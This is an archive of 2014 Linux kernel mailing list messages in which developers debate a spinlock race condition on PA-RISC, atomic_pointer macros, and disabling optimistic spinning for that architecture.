> > > +	(typeof((v)->__t))atomic_long_xchg(&(v)->__a, (long)(__i));	\
> > > +})
> > > +
> > > +#define atomic_pointer_cmpxchg(v, old, new)	({			\
> > > +	typeof((v)->__t) __old = (old);					\
> > > +	typeof((v)->__t) __new = (new);					\
> > > +	(typeof((v)->__t))atomic_long_cmpxchg(&(v)->__a, (long)(__old), (long)(__new));\
> > > +})
> > 
> > And I can't say I'm a particular fan of these ops either, as alternative
> > I'm almost inclined to just exclude parisc from using opt spinning.
> 
> That is an excellent point for this particular issue.  Do parisc systems
> really support enough CPUs to make queued spinlocks worthwhile?  If not,
> maybe we should just have parisc stick with traditional spinlocks.

Yes and No.  No for Linux because the only hyper CPU system is the
superdome, which we've never managed to boot linux on (it has some
complexities in the Bus architecture) and we're not likely to try
because the installations tend to cost north of US$1m.  For the Server
systems we do have a few high CPU count ones, but we lost access to them
when HP dismantled the parisc linux lab.  Currently the standard is
about 4 cpus.

I think just not using queued spinlocks is fine for us.  Should anyone
ever try the large CPU systems, we can revisit.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Waiman Long <waiman.long@hp.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 02 Jun 2014 13:25:29 -0400
Lines: 39
Approved: news@gmane.org
Message-ID: <538CB389.5080108@hp.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>  <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com> <1401727810.7440.34.camel@j-VirtualBox>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1401729972 11906 80.91.229.3 (2 Jun 2014 17:26:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 17:26:12 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Peter Zijlstra <peterz@infradead.org>, jejb@parisc-linux.org,
	deller@gmx.de, John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	paulmck@linux.vnet.ibm.com, chegu_vinod@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com
To: Jason Low <jason.low2@hp.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jun 02 19:26:02 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WrVzl-0002HP-3X
	for glk-linux-kernel-3@plane.gmane.org; Mon, 02 Jun 2014 19:26:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751875AbaFBRZw (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 2 Jun 2014 13:25:52 -0400
Original-Received: from g4t3425.houston.hp.com ([15.201.208.53]:24044 "EHLO
	g4t3425.houston.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750878AbaFBRZv (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 2 Jun 2014 13:25:51 -0400
Original-Received: from g4t3433.houston.hp.com (g4t3433.houston.hp.com [16.210.25.219])
	by g4t3425.houston.hp.com (Postfix) with ESMTP id C6931C0;
	Mon,  2 Jun 2014 17:25:49 +0000 (UTC)
Original-Received: from [192.168.142.241] (unknown [16.99.28.75])
	by g4t3433.houston.hp.com (Postfix) with ESMTP id 40B4B62;
	Mon,  2 Jun 2014 17:25:47 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.12) Gecko/20130109 Thunderbird/10.0.12
In-Reply-To: <1401727810.7440.34.camel@j-VirtualBox>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1716260 gmane.linux.ports.parisc:5838
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1716260>

On 06/02/2014 12:50 PM, Jason Low wrote:
> On Mon, 2014-06-02 at 12:00 -0400, Mikulas Patocka wrote:
>> If you write to some variable with ACCESS_ONCE and use cmpxchg or xchg at
>> the same time, you break it. ACCESS_ONCE doesn't take the hashed spinlock,
>> so, in this case, cmpxchg or xchg isn't really atomic at all.
> So if the problem is using ACCESS_ONCE writes with cmpxchg and xchg at
> the same time, would the below change address this problem?
>
> -----
> diff --git a/kernel/locking/mcs_spinlock.c b/kernel/locking/mcs_spinlock.c
> index 838dc9e..8396721 100644
> --- a/kernel/locking/mcs_spinlock.c
> +++ b/kernel/locking/mcs_spinlock.c
> @@ -71,7 +71,7 @@ bool osq_lock(struct optimistic_spin_queue **lock)
>   	if (likely(prev == NULL))
>   		return true;
>
> -	ACCESS_ONCE(prev->next) = node;
> +	xchg(&prev->next, node);
>
>   	/*
>   	 * Normally @prev is untouchable after the above store; because at that
> @@ -144,7 +144,7 @@ unqueue:
>   	 */
>
>   	ACCESS_ONCE(next->prev) = prev;
> -	ACCESS_ONCE(prev->next) = next;
> +	xchg(&prev->next, next);
>
>   	return false;
>   }
>
>

Doing an xchg is a very expensive operation compared with ACCESS_ONCE. I 
will not suggest doing that to make it right for PA-RISC at the expense 
of performance in other architectures.

-Longman

From - Thu Nov 08 21:10:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Waiman Long <waiman.long@hp.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 02 Jun 2014 13:29:54 -0400
Lines: 65
Approved: news@gmane.org
Message-ID: <538CB492.9090201@hp.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com> <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com> <20140602162525.GH16155@laptop.programming.kicks-ass.net> <20140602164339.GS22231@linux.vnet.ibm.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1401730230 15122 80.91.229.3 (2 Jun 2014 17:30:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 17:30:30 +0000 (UTC)
Cc: Peter Zijlstra <peterz@infradead.org>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	chegu_vinod@hp.com, tglx@linutronix.de, riel@redhat.com,
	akpm@linux-foundation.org, davidlohr@hp.com, hpa@zytor.com,
	andi@firstfloor.org, aswin@hp.com, scott.norton@hp.com,
	Jason Low <jason.low2@hp.com>
To: paulmck@linux.vnet.ibm.com
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 19:30:20 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrW3u-0004kC-QR
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 19:30:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751441AbaFBRaS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 13:30:18 -0400
Original-Received: from g4t3427.houston.hp.com ([15.201.208.55]:13764 "EHLO
	g4t3427.houston.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750933AbaFBRaQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 13:30:16 -0400
Original-Received: from g4t3433.houston.hp.com (g4t3433.houston.hp.com [16.210.25.219])
	by g4t3427.houston.hp.com (Postfix) with ESMTP id E2C57240;
	Mon,  2 Jun 2014 17:30:13 +0000 (UTC)
Original-Received: from [192.168.142.241] (unknown [16.99.28.75])
	by g4t3433.houston.hp.com (Postfix) with ESMTP id 3F2A37E;
	Mon,  2 Jun 2014 17:30:12 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.12) Gecko/20130109 Thunderbird/10.0.12
In-Reply-To: <20140602164339.GS22231@linux.vnet.ibm.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5839 gmane.linux.kernel:1716263
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5839>

On 06/02/2014 12:43 PM, Paul E. McKenney wrote:
> On Mon, Jun 02, 2014 at 06:25:25PM +0200, Peter Zijlstra wrote:
>> On Mon, Jun 02, 2014 at 12:00:45PM -0400, Mikulas Patocka wrote:
>>>   struct optimistic_spin_queue {
>>> -	struct optimistic_spin_queue *next, *prev;
>>> +	atomic_pointer(struct optimistic_spin_queue *) next;
>>> +	struct optimistic_spin_queue *prev;
>>>   	int locked; /* 1 if lock acquired */
>>>   };
>>>
>>> Index: linux-3.15-rc8/include/asm-generic/atomic-long.h
>>> ===================================================================
>>> --- linux-3.15-rc8.orig/include/asm-generic/atomic-long.h	2014-06-02 17:11:17.000000000 +0200
>>> +++ linux-3.15-rc8/include/asm-generic/atomic-long.h	2014-06-02 17:11:50.000000000 +0200
>>> @@ -255,4 +255,31 @@ static inline long atomic_long_add_unles
>>>
>>>   #endif  /*  BITS_PER_LONG == 64  */
>>>
>>> +#define atomic_pointer(type)						\
>>> +union {									\
>>> +	atomic_long_t __a;						\
>>> +	type __t;							\
>>> +	char __check_sizeof[sizeof(type) == sizeof(long) ? 1 : -1];	\
>>> +}
>> That's still entirely disgusting, and afaict entirely redundant. You can
>> do that test in the operators below just fine.
>>
>>> +#define ATOMIC_POINTER_INIT(i)	{ .__t = (i) }
>>> +
>>> +#define atomic_pointer_read(v)	((typeof((v)->__t))atomic_long_read(&(v)->__a))
>>> +
>>> +#define atomic_pointer_set(v, i)		({			\
>>> +	typeof((v)->__t) __i = (i);					\
>>> +	atomic_long_set(&(v)->__a, (long)(__i));			\
>>> +})
>>> +
>>> +#define atomic_pointer_xchg(v, i)		({			\
>>> +	typeof((v)->__t) __i = (i);					\
>>> +	(typeof((v)->__t))atomic_long_xchg(&(v)->__a, (long)(__i));	\
>>> +})
>>> +
>>> +#define atomic_pointer_cmpxchg(v, old, new)	({			\
>>> +	typeof((v)->__t) __old = (old);					\
>>> +	typeof((v)->__t) __new = (new);					\
>>> +	(typeof((v)->__t))atomic_long_cmpxchg(&(v)->__a, (long)(__old), (long)(__new));\
>>> +})
>> And I can't say I'm a particular fan of these ops either, as alternative
>> I'm almost inclined to just exclude parisc from using opt spinning.
> That is an excellent point for this particular issue.  Do parisc systems
> really support enough CPUs to make queued spinlocks worthwhile?  If not,
> maybe we should just have parisc stick with traditional spinlocks.

The operation in question is the optimistic spinning code of mutex which 
is currently active, I think, for all architectures. It is not related 
to the queued spinlock, though it will have the same problem.

Yes, by disabling the MUTEX_SPIN_ON_OWNER config variable from PA-RISC, 
we can disable optimistic spinning.

-Longman
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Waiman Long <waiman.long@hp.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 02 Jun 2014 13:33:34 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <538CB56E.5010709@hp.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com> <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com> <20140602162525.GH16155@laptop.programming.kicks-ass.net> <20140602163032.GI16155@laptop.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1401730447 17393 80.91.229.3 (2 Jun 2014 17:34:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 17:34:07 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	paulmck@linux.vnet.ibm.com, chegu_vinod@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 19:33:57 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrW7R-0006m2-1c
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 19:33:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751581AbaFBRd4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 13:33:56 -0400
Original-Received: from g2t2354.austin.hp.com ([15.217.128.53]:18859 "EHLO
	g2t2354.austin.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751511AbaFBRdz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 13:33:55 -0400
Original-Received: from g2t2360.austin.hp.com (g2t2360.austin.hp.com [16.197.8.247])
	by g2t2354.austin.hp.com (Postfix) with ESMTP id 35FF415B;
	Mon,  2 Jun 2014 17:33:54 +0000 (UTC)
Original-Received: from [192.168.142.241] (unknown [16.99.28.75])
	by g2t2360.austin.hp.com (Postfix) with ESMTP id 4D09049;
	Mon,  2 Jun 2014 17:33:52 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.12) Gecko/20130109 Thunderbird/10.0.12
In-Reply-To: <20140602163032.GI16155@laptop.programming.kicks-ass.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5840 gmane.linux.kernel:1716267
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5840>

On 06/02/2014 12:30 PM, Peter Zijlstra wrote:
> On Mon, Jun 02, 2014 at 06:25:25PM +0200, Peter Zijlstra wrote:
>> I'm almost inclined to just exclude parisc from using opt spinning.
>>
>> That said, this patch still doesn't address the far more interesting
>> problem of actually finding these issues for these few weird archs.
> So why do these archs provide xchg() and cmpxchg() at all? Wouldn't it
> be much simpler if archs that cannot sanely do this, not provide these
> primitives at all?

I believe xchg() and cmpxchg() are used in quite a number of places 
within the generic kernel code. So kernel compilation will fail if those 
APIs aren't provided by an architecture.

-Longman
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "H. Peter Anvin" <hpa@zytor.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 02 Jun 2014 10:38:18 -0700
Lines: 19
Approved: news@gmane.org
Message-ID: <538CB68A.6030408@zytor.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>  <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com> <1401727810.7440.34.camel@j-VirtualBox> <538CB389.5080108@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1401730791 21314 80.91.229.3 (2 Jun 2014 17:39:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 17:39:51 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	Peter Zijlstra <peterz@infradead.org>, jejb@parisc-linux.org,
	deller@gmx.de, John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org,
	paulmck@linux.vnet.ibm.com, chegu_vinod@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	andi@firstfloor.org, aswin@hp.com, scott.norton@hp.com
To: Waiman Long <waiman.long@hp.com>, Jason Low <jason.low2@hp.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 19:39:42 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrWCy-0001id-0E
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 19:39:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751980AbaFBRjj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 13:39:39 -0400
Original-Received: from terminus.zytor.com ([198.137.202.10]:53740 "EHLO mail.zytor.com"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751805AbaFBRji (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 13:39:38 -0400
Original-Received: from tazenda.hos.anvin.org ([IPv6:2601:9:7280:900:84c8:4bff:fea7:e961])
	(authenticated bits=0)
	by mail.zytor.com (8.14.7/8.14.5) with ESMTP id s52HcN38002067
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO);
	Mon, 2 Jun 2014 10:38:24 -0700
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.5.0
In-Reply-To: <538CB389.5080108@hp.com>
X-Enigmail-Version: 1.6
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5841 gmane.linux.kernel:1716273
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5841>

On 06/02/2014 10:25 AM, Waiman Long wrote:
> 
> Doing an xchg is a very expensive operation compared with ACCESS_ONCE. I
> will not suggest doing that to make it right for PA-RISC at the expense
> of performance in other architectures.
> 

And of course, this gets into the toxic question: what are reasonable
minimum requirements for Linux?  How far do we need to stretch to
support niche architectures which have very small (Linux) userbases?

	-hpa


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Waiman Long <waiman.long@hp.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH v2] introduce atomic_pointer to fix a race condition in
 cancelable mcs spinlocks
Date: Mon, 02 Jun 2014 13:42:34 -0400
Lines: 17
Approved: news@gmane.org
Message-ID: <538CB78A.8090500@hp.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>  <alpine.LRH.2.02.1406021158360.20627@file01.intranet.prod.int.rdu2.redhat.com>  <20140602162525.GH16155@laptop.programming.kicks-ass.net>  <CA+55aFzwrqkwD=G=w2m7TdXTpsMFjV7XUMXv5DMPGr=5x5YGCQ@mail.gmail.com> <1401729145.5185.5.camel@buesod1.americas.hpqcorp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1401731009 24238 80.91.229.3 (2 Jun 2014 17:43:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 17:43:29 +0000 (UTC)
Cc: Linus Torvalds <torvalds@linux-foundation.org>,
	Peter Zijlstra <peterz@infradead.org>,
	Mikulas Patocka <mpatocka@redhat.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	John David Anglin <dave.anglin@bell.net>,
	Parisc List <linux-parisc@vger.kernel.org>,
	Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
	Paul McKenney <paulmck@linux.vnet.ibm.com>,
	"Vinod, Chegu" <chegu_vinod@hp.com>,
	Thomas Gleixner <tglx@linutronix.de>,
	Rik van Riel <riel@redhat.com>,
	Andrew Morton <akpm@linux-foundation.org>,
	Peter Anvin <hpa@zytor.com>, Andi Kleen <andi@firstfloor.org>,
	"Chandramouleeswaran, Aswin" <aswin@hp.com>,
	"Norton, Scott J" <scott.norton@hp.com>,
	Jason Low <jason.low2@hp.com>
To: Davidlohr Bueso <davidlohr@hp.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Jun 02 19:43:19 2014
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1WrWGV-0003jX-4T
	for glk-linux-kernel-3@plane.gmane.org; Mon, 02 Jun 2014 19:43:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752337AbaFBRnE (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Mon, 2 Jun 2014 13:43:04 -0400
Original-Received: from g4t3427.houston.hp.com ([15.201.208.55]:18455 "EHLO
	g4t3427.houston.hp.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752075AbaFBRm4 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Mon, 2 Jun 2014 13:42:56 -0400
Original-Received: from g4t3433.houston.hp.com (g4t3433.houston.hp.com [16.210.25.219])
	by g4t3427.houston.hp.com (Postfix) with ESMTP id 7F03616F;
	Mon,  2 Jun 2014 17:42:53 +0000 (UTC)
Original-Received: from [192.168.142.241] (unknown [16.99.28.75])
	by g4t3433.houston.hp.com (Postfix) with ESMTP id A19514C;
	Mon,  2 Jun 2014 17:42:51 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.12) Gecko/20130109 Thunderbird/10.0.12
In-Reply-To: <1401729145.5185.5.camel@buesod1.americas.hpqcorp.net>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1716276 gmane.linux.ports.parisc:5842
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1716276>

On 06/02/2014 01:12 PM, Davidlohr Bueso wrote:
> On Mon, 2014-06-02 at 10:09 -0700, Linus Torvalds wrote:
>> On Mon, Jun 2, 2014 at 9:25 AM, Peter Zijlstra<peterz@infradead.org>  wrote:
>>> And I can't say I'm a particular fan of these ops either, as alternative
>>> I'm almost inclined to just exclude parisc from using opt spinning.
>> Please do.
> I agree, this is the best way out of this mess. Furthermore, it would
> also be nice to consolidate opt spinning in a common CONFIG option --
> right now mutexes and rwsems create their own dependencies.
>

I would suggest adding a RWSEM_SPIN_ON_OWNER to control opt spinning in 
rwsem. Currently MUTEX_SPIN_ON_OWNER is doing that for mutex, and it is 
disabled when mutex debugging is turned on. So I think it is better to 
allow them to be disabled separately.

-Longman

From - Thu Nov 08 21:10:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] fix a race condition in cancelable mcs spinlocks
Date: Mon, 02 Jun 2014 12:56:40 -0700
Lines: 76
Approved: news@gmane.org
Message-ID: <1401739000.12939.34.camel@dabdike.int.hansenpartnership.com>
References: <alpine.LRH.2.02.1406011342470.20831@file01.intranet.prod.int.rdu2.redhat.com>
	 <20140601192026.GE16155@laptop.programming.kicks-ass.net>
	 <BLU0-SMTP387BD0AE22A4EAD432D65F97210@phx.gbl>
	 <20140601213003.GG16155@laptop.programming.kicks-ass.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-15"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1401739029 8119 80.91.229.3 (2 Jun 2014 19:57:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 2 Jun 2014 19:57:09 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Mikulas Patocka <mpatocka@redhat.com>,
	Linus Torvalds <torvalds@linux-foundation.org>,
	jejb@parisc-linux.org, deller@gmx.de, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, chegu_vinod@hp.com,
	paulmck@linux.vnet.ibm.com, Waiman.Long@hp.com, tglx@linutronix.de,
	riel@redhat.com, akpm@linux-foundation.org, davidlohr@hp.com,
	hpa@zytor.com, andi@firstfloor.org, aswin@hp.com,
	scott.norton@hp.com, Jason Low <jason.low2@hp.com>
To: Peter Zijlstra <peterz@infradead.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Jun 02 21:56:59 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1WrYLo-0004bi-Js
	for glpp-linux-parisc@plane.gmane.org; Mon, 02 Jun 2014 21:56:56 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753765AbaFBT4o (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 2 Jun 2014 15:56:44 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:55973 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753734AbaFBT4m (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 2 Jun 2014 15:56:42 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 573E18EE167;
	Mon,  2 Jun 2014 12:56:42 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id D9NWxhaERKjL; Mon,  2 Jun 2014 12:56:42 -0700 (PDT)
Original-Received: from [153.66.254.224] (unknown [50.46.103.107])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 524BC8EE0A4;
	Mon,  2 Jun 2014 12:56:41 -0700 (PDT)
In-Reply-To: <20140601213003.GG16155@laptop.programming.kicks-ass.net>
X-Mailer: Evolution 3.12.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
